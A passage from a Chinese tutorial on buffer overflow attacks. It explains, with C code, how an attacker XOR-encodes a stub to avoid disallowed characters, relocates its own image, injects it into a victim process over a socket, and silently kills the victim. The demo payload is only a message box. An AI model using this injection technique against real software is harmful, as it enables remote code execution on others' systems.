WEB开发网
开发学院软件开发VC 缓冲区溢出攻防 阅读

缓冲区溢出攻防

 2010-02-19 20:33:10 来源:WEB开发网   
核心提示:其中,pStub指向一块事先分配的内存区,缓冲区溢出攻防(5),其大小是计算好的,绝对不会超支(我们是干这行的,至于AttackerMain,我的是下面的样子,肯定得先把自身的问题解决好:));g_stub是一个STUB类型的全局变量,保存了stub中固定不变的数据;g_hInst是attacker的进程的句柄

其中,pStub指向一块事先分配的内存区,其大小是计算好的,绝对不会超支(我们是干这行的,肯定得先把自身的问题解决好:));g_stub是一个STUB类型的全局变量,保存了stub中固定不变的数据;g_hInst是attacker的进程的句柄,以它为参数调用GetImageSize就能得到attacker的内存映像的大小;g_arrDisallow是一个字符数组,里面是所有不允许出现的字符。

GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:

BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount)
{
  BYTE arrUsage[256], by = 0;
  memset(arrUsage, 0, sizeof(arrUsage));
  for(int i=0; i<nSize; i++)
    arrUsage[*(pData + i)] = 1;
  for(i=0; i<256; i++)
  {
    by = (BYTE)i;
    //xor mask can not be a disallowed char
    for(int j=0; j<nCount; j++)
      if(arrDisallow[j] == by)
        break;
    if(j < nCount)
      continue;
    //after xor, the data should not contain a disallowed char
    for(j=0; j<nCount; j++)
      if(arrUsage[arrDisallow[j] ^ by] == 1)
        break;
    if(j >= nCount)
      return by;
  }
  //we don''t find it, return the first disallowed char for an error
  return arrDisallow[0];
}

异或处理完毕后,PrepareStub要根据动态计算出来的数据,修改stubstubcode。由于数据是动态算出来的,所以需要对最终的stubstubcode做一个检查,看里面有没有不允许的字符。最后,它用g_szStubTail把stub填充为一个完整地UNC字符串,整个stub的准备工作宣告完成。

前面已经说过,stubcode的任务是在victim中建立一个attacker的映像,然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后,发给stubcode。下面的代码就来完成这些任务:


DWORD dwNewBase, dwSize;
LPBYTE pImage;
recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
dwSize = GetImageSize((LPCBYTE)g_hInst);
pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(pImage, (const void*)g_hInst, dwSize);
RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
DoInject(sck, pImage, dwSize);

attacker先从stubcode中获得它分配的内存的起始地址,这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份,并按照新的映像基址对这个拷贝进行重定位,RelocImage的代码与《进程隐藏》中的基本相同,这里不再重复。但要注意:默认情况下,链接器不会为EXE文件生成重定位表。所以链接attacker时,要加上参数“/FIXED:No”,强制链接器生成重定位表。DoInject完成数据发送,也是简单的网络通讯,所以略过不讲。

在victim中,控制权最终会传递到下面这个函数的手中。

void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary fnLoadLibrary,FxGetProcAddr fnGetProcAddr)
{
  g_hInst = (HINSTANCE)pImage;
  if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr))
    AttackerMain(g_hInst);
  ExitProcess(0);
}

它同《进程隐藏》里的ThreadEntry很像,最大的不同是最后调用ExitProcess结束了victim的生命。这很好理解,victim的栈经过一系列的攻击之后,已经面目全非了,如果让AttackerEntry正常返回,victim肯定会弹出一个提示出现非法操作的对话框。我们在做“坏事”,不希望被发现,所以让victim悄无声息的退出无疑是最佳选择。

LoadImportFx和《进程隐藏》中的完全一致,也不再重复。至于AttackerMain,我的是下面的样子。你的——自己去发挥吧,但请切记你要为你所作的一切负责!

DWORD WINAPI AttackerMain(HINSTANCE hInst)
{
   TCHAR szName[64], szMsg[128];
   GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR));
   _stprintf(szMsg, _T("进程\"%s\"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName);
   MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION);
   return 0;
}

上一页  1 2 3 4 5 6  下一页

Tags:缓冲区 溢出 攻防

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接